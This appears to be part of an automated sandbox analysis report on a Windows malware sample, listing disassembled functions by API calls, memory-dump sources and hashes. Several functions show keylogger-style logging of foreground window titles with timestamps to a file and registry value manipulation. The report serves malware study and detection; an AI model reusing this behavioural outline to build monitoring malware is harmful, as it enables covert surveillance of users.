Part of subcall function 000001CFB9611EF8: std::exception::exception.LIBCMT ref: 000001CFB9611F7F

RegCreateKeyW.ADVAPI32 ref: 000001CFB960CEA4
RegDeleteValueW.ADVAPI32 ref: 000001CFB960CEE8
RegSetValueExW.ADVAPI32 ref: 000001CFB960CF08
RegCloseKey.ADVAPI32 ref: 000001CFB960CF1F
CloseHandle.KERNEL32 ref: 000001CFB960D7B3

Strings

Console\1, xrefs: 000001CFB960CE96

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteHandle_callnewhmallocstd::exception::exception
String ID: Console\1
API String ID: 2917754286-1035756066
Opcode ID: 365750352fc34f55ffdf8fce61dcb1794e0e3b63090383709f973ce8d9472500
Instruction ID: 01f440c5927aff43275948b01d6ee801a2288fdca4fff3429b5dedcf245b3d48
Opcode Fuzzy Hash: 365750352fc34f55ffdf8fce61dcb1794e0e3b63090383709f973ce8d9472500
Instruction Fuzzy Hash: DC517832300B9282FB58DB11E594BEE7376F789BC4F41412AAA4E47795CF38CA52C700

Function 000001CFB961E124 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001CFB961E13F

Part of subcall function 000001CFB961C23C: _errno.LIBCMT ref: 000001CFB961C245
Part of subcall function 000001CFB961C23C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C250

_errno.LIBCMT ref: 000001CFB961E14F
_errno.LIBCMT ref: 000001CFB961E16D
_isatty.LIBCMT ref: 000001CFB961E1CE
_getbuf.LIBCMT ref: 000001CFB961E1DA

Strings

, xrefs: 000001CFB961E15A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 2574049805-3916222277
Opcode ID: b4bc058c78e50e6e57c4f554ad32398b5525bb103744436a3dc36264a1bdab3a
Instruction ID: 17e60d75e8dfbe2a185c723c99763aad1d1d53a16e5c7449de32f05b7755ae50
Opcode Fuzzy Hash: b4bc058c78e50e6e57c4f554ad32398b5525bb103744436a3dc36264a1bdab3a
Instruction Fuzzy Hash: 3941E1726407A245FB299F39D452BAC3AB3E784B94F146238DA14073D5EB38CE53C740

Function 000001CFB9613BBC Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB96142A8: HeapCreate.KERNEL32 ref: 000001CFB96142BE
Part of subcall function 000001CFB96142A8: GetVersion.KERNEL32 ref: 000001CFB96142D0
Part of subcall function 000001CFB96142A8: HeapSetInformation.KERNEL32 ref: 000001CFB96142EE

_RTC_Initialize.LIBCMT ref: 000001CFB9613BEE
GetCommandLineA.KERNEL32 ref: 000001CFB9613BF3

Part of subcall function 000001CFB961ACFC: GetEnvironmentStringsW.KERNEL32 ref: 000001CFB961AD15
Part of subcall function 000001CFB961ACFC: WideCharToMultiByte.KERNEL32 ref: 000001CFB961AD6C
Part of subcall function 000001CFB961ACFC: WideCharToMultiByte.KERNEL32 ref: 000001CFB961ADA7
Part of subcall function 000001CFB961ACFC: free.LIBCMT ref: 000001CFB961ADB4
Part of subcall function 000001CFB961ACFC: FreeEnvironmentStringsW.KERNEL32 ref: 000001CFB961ADBF

Part of subcall function 000001CFB961A5BC: GetStartupInfoW.KERNEL32 ref: 000001CFB961A5DD

__setargv.LIBCMT ref: 000001CFB9613C1C
_cinit.LIBCMT ref: 000001CFB9613C30

Part of subcall function 000001CFB9616788: FlsFree.KERNEL32 ref: 000001CFB9616797
Part of subcall function 000001CFB9616788: DeleteCriticalSection.KERNEL32 ref: 000001CFB961AFD3
Part of subcall function 000001CFB9616788: free.LIBCMT ref: 000001CFB961AFDC
Part of subcall function 000001CFB9616788: DeleteCriticalSection.KERNEL32 ref: 000001CFB961B003

Part of subcall function 000001CFB961A890: free.LIBCMT ref: 000001CFB961A8E1

Part of subcall function 000001CFB9616F6C: Sleep.KERNEL32 ref: 000001CFB9616FB1

FlsSetValue.KERNEL32 ref: 000001CFB9613CCA
GetCurrentThreadId.KERNEL32 ref: 000001CFB9613CDE
free.LIBCMT ref: 000001CFB9613CED

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 5c7a198a6bf3e74a284814fe9030744537be58b3e98e31e514715c20926680aa
Instruction ID: d0b45efa1d559b73d2593d346e09de21b320ef253adc859d84d6c9abb4bf27a9
Opcode Fuzzy Hash: 5c7a198a6bf3e74a284814fe9030744537be58b3e98e31e514715c20926680aa
Instruction Fuzzy Hash: 263119306C42E386FA647776E906FE961B7AB60754F15613DA813C11D3EF28CF835212

Function 000001CFB95CB121 Relevance: 10.6, APIs: 7, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB95CB144
_errno.LIBCMT ref: 000001CFB95CB14C

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: adb07d1321ee7856dbb04410b93dc9777c949db3f49432debc9022dfd59ee3b0
Instruction ID: 21a51206262e3b83940bd3854ecd8f97297cab4d83c1b84ae5e6dcb1a1d0daf1
Opcode Fuzzy Hash: adb07d1321ee7856dbb04410b93dc9777c949db3f49432debc9022dfd59ee3b0
Instruction Fuzzy Hash: 47213B321D8B844EF2196B68D9C2BF932F2EB45321F00026DF446C75D3D7A89D4382A2

Function 000001CFB939E0DC Relevance: 10.6, APIs: 7, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB939E0FF
_errno.LIBCMT ref: 000001CFB939E107

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: e6985e12e6397c150a5502346323367360a42ad96b1106eccce0c26d1ba362ba
Instruction ID: b464c3c5f5296ce87c9c9bc0de29803d097fce147d53b4830849c1b87ce4ff12
Opcode Fuzzy Hash: e6985e12e6397c150a5502346323367360a42ad96b1106eccce0c26d1ba362ba
Instruction Fuzzy Hash: F6213B30258A840EF3286F58D896BFD37EAEF46324F2D026DE547872D3D764AD434292

Function 000001CFB95CB965 Relevance: 10.6, APIs: 7, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB95CB988
_errno.LIBCMT ref: 000001CFB95CB990

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 97455be3f636bc858ff527ab103684d291f06a334aad1a202db7ad900f8e3f22
Instruction ID: 526c8ed1c87ba55762ddcd40bb4b45fd5efe456e0a19ed34c084da828c80cda1
Opcode Fuzzy Hash: 97455be3f636bc858ff527ab103684d291f06a334aad1a202db7ad900f8e3f22
Instruction Fuzzy Hash: 7221F7726C86844EF3186F68EDC2BF832F6EB45321F05026DF486875D3D7A49D4382A2

Function 000001CFB939E920 Relevance: 10.6, APIs: 7, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB939E943
_errno.LIBCMT ref: 000001CFB939E94B

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: f466c2900776dec78709f31630f8c073b92f50b4fa8424f811fbf9e3ff3e681c
Instruction ID: 8115f9cbdc06c205e6c475f85f7f0fb22885f0025e67db9c4a648815782496be
Opcode Fuzzy Hash: f466c2900776dec78709f31630f8c073b92f50b4fa8424f811fbf9e3ff3e681c
Instruction Fuzzy Hash: 542107305486844EF3656F5CD896BFC37AAEF4A320F2D026DE507871E3D7689D434292

Function 000001CFB95C4AF5 Relevance: 10.6, APIs: 7, Instructions: 75COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C4B19
_errno.LIBCMT ref: 000001CFB95C4B32
write_char.LIBCMT ref: 000001CFB95C4B47
_errno.LIBCMT ref: 000001CFB95C4B54
write_char.LIBCMT ref: 000001CFB95C4B66
_errno.LIBCMT ref: 000001CFB95C4B6F
_errno.LIBCMT ref: 000001CFB95C4B79

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: d432c042707113eef219af6e0ad2687e08b2bf50df0bf66eaea8f2f9f5c7417f
Instruction ID: c2c15faa81b8b335dcbc94bd491a894e4ee4605c2b365d451cc6f13b830d1564
Opcode Fuzzy Hash: d432c042707113eef219af6e0ad2687e08b2bf50df0bf66eaea8f2f9f5c7417f
Instruction Fuzzy Hash: 7921C3324C8B984FFBA4AF58C182FE432F2EB59315F11516DE448C7592C730ED428782

Function 000001CFB95C92A1 Relevance: 10.6, APIs: 7, Instructions: 75COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C92C5
_errno.LIBCMT ref: 000001CFB95C92DE
write_char.LIBCMT ref: 000001CFB95C92F4
_errno.LIBCMT ref: 000001CFB95C9302
write_char.LIBCMT ref: 000001CFB95C9317
_errno.LIBCMT ref: 000001CFB95C9320
_errno.LIBCMT ref: 000001CFB95C932A

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: cf7df7c98addab0dc0e3b1a63959e8151b81c0f80027ab393a2132f63f18ac25
Instruction ID: dfd5e1518777574292f3d0c9fa477642521c336aae4c4d2124f47cf9e93d5682
Opcode Fuzzy Hash: cf7df7c98addab0dc0e3b1a63959e8151b81c0f80027ab393a2132f63f18ac25
Instruction Fuzzy Hash: 002181325C8B988FFB68AB58C542BA432F1FB59311F10116DE449C75D3D774DE428786

Function 000001CFB939AC9C Relevance: 10.6, APIs: 7, Instructions: 75COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB939ACC0
_errno.LIBCMT ref: 000001CFB939ACD9
write_char.LIBCMT ref: 000001CFB939ACEE
_errno.LIBCMT ref: 000001CFB939ACFB
write_char.LIBCMT ref: 000001CFB939AD0D
_errno.LIBCMT ref: 000001CFB939AD16
_errno.LIBCMT ref: 000001CFB939AD20

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: c71356e80ab61c116f08e0e7252ee1ba80ccbfc151ac000d77de5458481281de
Instruction ID: 1d4059699513e1ff989e2e857c6144cb570af959ee4fe59ab1e2554fbe512a00
Opcode Fuzzy Hash: c71356e80ab61c116f08e0e7252ee1ba80ccbfc151ac000d77de5458481281de
Instruction Fuzzy Hash: A9214D30554A888FF7A4AE58C046BA537F5EF99311F3E02BDA45AC7293D770DE428782

Function 000001CFB95CEDA9 Relevance: 10.6, APIs: 7, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB95CEDC2
_errno.LIBCMT ref: 000001CFB95CEDCA
_close_nolock.LIBCMT ref: 000001CFB95CEE21

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: 466cc7396c1cc10912a76d8dcb8aa306f0142ba951475728dc8fb5e6dd3ea738
Instruction ID: f70c8ee4411f6e53f0771d8fd38175afba5f5ceb85a1fdbbd6266e8c432fc191
Opcode Fuzzy Hash: 466cc7396c1cc10912a76d8dcb8aa306f0142ba951475728dc8fb5e6dd3ea738
Instruction Fuzzy Hash: D72127331C96804EF3046B65DAD2BE83AF2EB45321F11453CF016879D3D775CE864655

Function 000001CFB93A1560 Relevance: 10.6, APIs: 7, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB93A1579
_errno.LIBCMT ref: 000001CFB93A1581
_close_nolock.LIBCMT ref: 000001CFB93A15D8

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: dd9d7f979b81a8699f053dee8420159905e3cc7e97c07634a21e015c23129739
Instruction ID: 8343bd85e0813b3510b75bbe6fb3ba3bc80b0d298f2dc3d42862ee5df645213c
Opcode Fuzzy Hash: dd9d7f979b81a8699f053dee8420159905e3cc7e97c07634a21e015c23129739
Instruction Fuzzy Hash: 0F21BE315856844AF714ABA4C896BEC77BAAF86320F2D457CE01B871E3C774CE428252

Function 000001CFB961BE94 Relevance: 10.6, APIs: 7, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB961BEB7
_errno.LIBCMT ref: 000001CFB961BEBF

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 09c70d8d37d13d61aee410d3f235f2ba24f94fa1cbdaf45efdae3760bbd383ae
Instruction ID: 283dfd28dd101cb53813a9819233c90e386ba3a384ec746672b4a614141167b1
Opcode Fuzzy Hash: 09c70d8d37d13d61aee410d3f235f2ba24f94fa1cbdaf45efdae3760bbd383ae
Instruction Fuzzy Hash: AE21F9326505E249FA09AF35D982BED65739780BA1F46612CEF14073D6C778CE438B10

Function 000001CFB961B650 Relevance: 10.6, APIs: 7, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB961B673
_errno.LIBCMT ref: 000001CFB961B67B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 1239332d20303c5a50c65b0066d77a0a022a4de7cac9ff6e062bd27df312ce82
Instruction ID: 3af08efb0cd0729649725b51e1b401d4c39cf6cccf82d9f8b0bbb98f93be5176
Opcode Fuzzy Hash: 1239332d20303c5a50c65b0066d77a0a022a4de7cac9ff6e062bd27df312ce82
Instruction Fuzzy Hash: D721D4322501A245FA056F35D952BED6673A781BB1F4A232DDF350B3D6CB78CE428720

Function 000001CFB961E764 Relevance: 10.6, APIs: 7, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB961E77D
FlushFileBuffers.KERNEL32 ref: 000001CFB961E7E0
GetLastError.KERNEL32 ref: 000001CFB961E7EA
__doserrno.LIBCMT ref: 000001CFB961E7FA
_errno.LIBCMT ref: 000001CFB961E801

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$BuffersErrorFileFlushLast__doserrno
String ID:
API String ID: 1845094721-0
Opcode ID: 92246146ac22801513e11eef1ccf583f360b70cb192a4f31d30353fc8b85e09a
Instruction ID: 2c4793129b8cbaad7fa54abc60335d5e1c158495b866a9db6a530f7cab58adba
Opcode Fuzzy Hash: 92246146ac22801513e11eef1ccf583f360b70cb192a4f31d30353fc8b85e09a
Instruction Fuzzy Hash: 2E2105316806E345F6566F64E895BED6A73AB80790F05613DEA21073D2CB78CE43C310

Function 000001CFB96110A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 000001CFB96110CF
GetWindowTextW.USER32 ref: 000001CFB96110EC
lstrlenW.KERNEL32 ref: 000001CFB9611126
GetLocalTime.KERNEL32 ref: 000001CFB9611135
wsprintfW.USER32 ref: 000001CFB9611185

Part of subcall function 000001CFB9610FE0: WaitForSingleObject.KERNEL32 ref: 000001CFB9610FF7
Part of subcall function 000001CFB9610FE0: CreateFileW.KERNEL32 ref: 000001CFB9611029
Part of subcall function 000001CFB9610FE0: SetFilePointer.KERNEL32 ref: 000001CFB961104E
Part of subcall function 000001CFB9610FE0: lstrlenW.KERNEL32 ref: 000001CFB9611057
Part of subcall function 000001CFB9610FE0: WriteFile.KERNEL32 ref: 000001CFB9611075
Part of subcall function 000001CFB9610FE0: CloseHandle.KERNEL32 ref: 000001CFB961107E
Part of subcall function 000001CFB9610FE0: ReleaseMutex.KERNEL32 ref: 000001CFB961108B

Strings

[, xrefs: 000001CFB961117E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID: [
API String ID: 3163932117-4056885943
Opcode ID: b85160648a62d3303c1f720c1aa9f274de9beabe1632b1bf58264dd0c81a2883
Instruction ID: 74c3f28b2644877090f3c87e1868b069732f98341bf81eb6c8232773e81cbfdd
Opcode Fuzzy Hash: b85160648a62d3303c1f720c1aa9f274de9beabe1632b1bf58264dd0c81a2883
Instruction Fuzzy Hash: E0312C31658A96C1F750DB56F851BA6B3B3F784740F40402EA989426A9DF7CCA5ACF40

Function 000001CFB961F2D8 Relevance: 10.6, APIs: 7, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB961F2F1
_errno.LIBCMT ref: 000001CFB961F2F9
_close_nolock.LIBCMT ref: 000001CFB961F350

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: db6b694d186b23cc907136b623f0fb9f1178e56bcf07348fea53597191f401e8
Instruction ID: 1144f9ddf5f758ecc80f131561088e126bdd23ad8fa38866a36f6ea927bb2249
Opcode Fuzzy Hash: db6b694d186b23cc907136b623f0fb9f1178e56bcf07348fea53597191f401e8
Instruction Fuzzy Hash: 8B110B326842E285F7056F75D886BDC2673E7817A1F69263CAA15473D3C778CE438714

Function 000001CFB9615024 Relevance: 10.6, APIs: 7, Instructions: 51COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9615048
_errno.LIBCMT ref: 000001CFB9615061
write_char.LIBCMT ref: 000001CFB9615076
_errno.LIBCMT ref: 000001CFB9615083
write_char.LIBCMT ref: 000001CFB9615095
_errno.LIBCMT ref: 000001CFB961509E
_errno.LIBCMT ref: 000001CFB96150A8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: fbb30c4e2186c998f425e18416f54d05b4074133aff0d1338df02403602f3b90
Instruction ID: f003b97dffe112cd62e8919687c17a76e20ba9a9a70e17e3452bc3b937130ee6
Opcode Fuzzy Hash: fbb30c4e2186c998f425e18416f54d05b4074133aff0d1338df02403602f3b90
Instruction Fuzzy Hash: 741182324807E28AF760ABA1D4017DDB6B3F395BD1F59A128DF4407796CB38CE828781

Function 000001CFB96197D0 Relevance: 10.6, APIs: 7, Instructions: 51COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB96197F4
_errno.LIBCMT ref: 000001CFB961980D
write_char.LIBCMT ref: 000001CFB9619823
_errno.LIBCMT ref: 000001CFB9619831
write_char.LIBCMT ref: 000001CFB9619846
_errno.LIBCMT ref: 000001CFB961984F
_errno.LIBCMT ref: 000001CFB9619859

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: 45baae2fde74618746f6b6203c9441344442621bcc6d007daa8fb462ddadbe2e
Instruction ID: ecbd4b39761dec841757dc965e316d29bddd14913839b09f19b354b27677baaf
Opcode Fuzzy Hash: 45baae2fde74618746f6b6203c9441344442621bcc6d007daa8fb462ddadbe2e
Instruction Fuzzy Hash: 401167329807E286FB60AF12E4017DC66B3F794B90F09602ADB4407787CB38CE828741

Function 000001CFB9610FE0 Relevance: 10.5, APIs: 7, Instructions: 40filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 000001CFB9610FF7
CreateFileW.KERNEL32 ref: 000001CFB9611029
SetFilePointer.KERNEL32 ref: 000001CFB961104E
lstrlenW.KERNEL32 ref: 000001CFB9611057
WriteFile.KERNEL32 ref: 000001CFB9611075
CloseHandle.KERNEL32 ref: 000001CFB961107E
ReleaseMutex.KERNEL32 ref: 000001CFB961108B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: 1fdd24094954658e294e17131c08b774f2d2fa2c2b92087c8cd534904e702a95
Instruction ID: 53f659105151bd10b5cd992983932e0c6267315c7d285be452b26c9dec61fc39
Opcode Fuzzy Hash: 1fdd24094954658e294e17131c08b774f2d2fa2c2b92087c8cd534904e702a95
Instruction Fuzzy Hash: 1F117031244A8282F7509B15F818B997373F798BB4F504229DAAA037E5CF7CCA4ACB00

Function 000001CFB960D7BF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960D7E6
RegDeleteValueW.ADVAPI32 ref: 000001CFB960D7F7
RegSetValueExW.ADVAPI32 ref: 000001CFB960D81E
RegCloseKey.ADVAPI32 ref: 000001CFB960D828

Strings

Console, xrefs: 000001CFB960D7CA
IpDatespecial, xrefs: 000001CFB960D7F0, 000001CFB960D801

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpen
String ID: Console$IpDatespecial
API String ID: 3183427449-1840232981
Opcode ID: ecf80bc97f28127a6a78c17fa9fa92f782d6466a7d39209f1e49dd3ba08303c1
Instruction ID: 326e42d6428f96b2d743d6cae7445ce0bd4fa313da6ea37cf96677da661c7da1
Opcode Fuzzy Hash: ecf80bc97f28127a6a78c17fa9fa92f782d6466a7d39209f1e49dd3ba08303c1
Instruction Fuzzy Hash: E8015276355A8186F721DB14F954B883732F384BD8F404126CE4D43A98CF78C68AC718

Function 000001CFB93A31A8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A31C7

Part of subcall function 000001CFB939DA94: _getptd.LIBCMT ref: 000001CFB939DA98

_getptd.LIBCMT ref: 000001CFB93A31D9
